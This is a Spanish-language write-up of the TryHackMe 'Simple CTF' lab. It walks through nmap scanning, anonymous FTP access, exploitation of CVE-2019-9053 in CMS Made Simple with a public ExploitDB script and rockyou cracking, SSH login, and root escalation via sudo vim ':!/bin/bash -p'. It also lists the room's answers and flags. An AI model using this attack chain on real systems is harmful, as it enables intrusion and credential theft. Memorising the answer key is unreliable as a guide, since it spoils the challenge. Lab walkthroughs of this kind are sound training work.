// TryHackMe — CTF — Writeup

SIMPLE CTF

#linux #anon-ftp #cms-made-simple #sqli #sudo-vim
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo de puertos para mapear toda la superficie de ataque antes de pasar al análisis de servicios.

escaneo completo
nmap -p- -T5 <IP> -oG allPorts
escaneo de servicios y versiones
nmap -p21,80,2222 -T5 -sSCV -n -Pn <IP> -oN scan.txt
PUERTO ESTADO SERVICIO VERSIÓN
21/tcpOPENftpvsftpd 3.0.3
80/tcpOPENhttpApache 2.4.18 (Ubuntu)
2222/tcpOPENsshOpenSSH 7.2p2
Superficie de ataque
Tres servicios expuestos: FTP con login anónimo habilitado, un servidor web Apache y SSH corriendo en el puerto no estándar 2222. El robots.txt del servidor web filtra dos rutas: / y /openemr-5_0_1_3.
// 02

FTP ANÓNIMO — Nota de credenciales

El escaneo de nmap detecta que el FTP permite anonymous login. El modo pasivo está bloqueado por el firewall de la red, por lo que la conexión se realiza forzando modo activo con curl --ftp-port:

listado del directorio FTP
curl --ftp-port <IP_ATACANTE> ftp://anonymous:anonymous@<IP>/
drwxr-xr-x 2 ftp ftp 4096 Aug 17 2019 pub
contenido de /pub
curl --ftp-port <IP_ATACANTE> ftp://anonymous:anonymous@<IP>/pub/ForMitch.txt
Dammit man... you're the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!
Información crítica filtrada
El archivo ForMitch.txt confirma la existencia de un usuario llamado mitch en el sistema, que reutiliza la misma contraseña débil en FTP y en el sistema operativo. La contraseña fue crackeada con facilidad.
// 03

ENUMERACIÓN WEB — CMS Made Simple

El servidor web Apache muestra la página por defecto de Ubuntu en la raíz. El robots.txt menciona /openemr-5_0_1_3, que resulta ser un rabbit hole (404). La aplicación vulnerable se descubre en /simple:

identificación del CMS
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019." /> ... CMS Made Simple version 2.2.8
CVE-2019-9053 — SQL Injection
CMS Made Simple < 2.2.10 es vulnerable a una inyección SQL de tipo Time-Based Blind en el módulo de búsqueda de noticias (News), a través del parámetro cntnt01searchterm. No requiere autenticación. Permite extraer usuarios, emails, salts y hashes de contraseña de la base de datos.
¿Cómo funciona la SQLi Time-Based?
El servidor no devuelve los datos directamente en la respuesta (blind), pero sí reacciona con retardos medibles cuando la condición inyectada es verdadera. El exploit automatiza la extracción caracter a caracter midiendo los tiempos de respuesta de la base de datos.
// 04

EXPLOTACIÓN — CVE-2019-9053

Se descarga el exploit público de ExploitDB (ID: 46635) y se ejecuta contra el CMS para extraer las credenciales almacenadas en la base de datos:

descarga del exploit
searchsploit -m 46635 python2 46635.py -u http://<IP>/simple/ --crack -w /usr/share/wordlists/rockyou.txt
[+] Salt for password found: 1dac0d92e9fa6bb2 [+] Username found: mitch [+] Email found: [email protected] [+] Password cracked: secret
Credenciales extraídas
Usuario mitch — Contraseña secret (hash MD5 con salt crackeado vía rockyou.txt)

Se accede por SSH al puerto no estándar 2222 con las credenciales obtenidas:

acceso SSH
ssh mitch@<IP> -p 2222
mitch@Machine:~$ cat user.txt
USER FLAG G00d j0b, keep up!
// 05

PRIVILEGE ESCALATION — sudo vim

Se comprueba qué comandos puede ejecutar mitch como root sin contraseña:

comprobación de sudo
sudo -l
User mitch may run the following commands on Machine: (root) NOPASSWD: /usr/bin/vim
Escalada via sudo vim — GTFOBins
El usuario mitch puede ejecutar vim como root sin contraseña. Vim permite lanzar comandos de shell desde su modo de comandos con :!. Al ejecutarse como root, cualquier comando del sistema hereda esos privilegios.

Se lanza vim con sudo y desde su interior se ejecuta una bash con el flag -p para preservar el UID efectivo de root:

explotación
sudo vim
:!/bin/bash -p
root@Machine:/home/mitch# whoami root root@Machine:/root# cat root.txt
¿Por qué funciona?
vim incluye la capacidad de ejecutar comandos de shell arbitrarios mediante :!comando. Al invocarse con sudo, vim corre con UID 0 (root), por lo que cualquier comando lanzado desde él también lo hace. El flag -p de bash impide que se descarte el UID efectivo elevado.
ROOT FLAG W3ll d0n3. You made it!
// TASKS

PREGUNTAS DE TRYHACKME

Respuestas a las preguntas oficiales de la sala. Pasa el cursor sobre la respuesta para revelarla.

How many services are running under port 1000? 2 ✓ Correct
What is running on the higher port? ssh ✓ Correct
What's the CVE you're using against the application? CVE-2019-9053 ✓ Correct
To what kind of vulnerability is the application vulnerable? sqli ✓ Correct
What's the password? secret ✓ Correct
Where can you login with the details obtained? ssh ✓ Correct
What's the user flag? G00d j0b, keep up! ✓ Correct
Is there any other user in the home directory? What's its name? sunbath ✓ Correct
What can you leverage to spawn a privileged shell? vim ✓ Correct
What's the root flag? W3ll d0n3. You made it! ✓ Correct
// RESUMEN

CADENA DE ATAQUE

01
FTP Anónimo — Nota de reconocimiento
Login anónimo en vsftpd → /pub/ForMitch.txt revela usuario mitch con contraseña débil reutilizada
02
CMS Made Simple 2.2.8 en /simple
Enumeración web descubre CMS vulnerable — robots.txt con rabbit hole (/openemr-5_0_1_3)
03
CVE-2019-9053 — Time-Based Blind SQLi
Exploit 46635.py extrae credenciales: mitch / secret (hash MD5+salt crackeado)
04
SSH en puerto 2222 — User flag
Acceso como mitch por SSH → user.txt: G00d j0b, keep up!
sudo vim → Root
(root) NOPASSWD: /usr/bin/vim:!/bin/bash -p → root → root.txt: W3ll d0n3. You made it!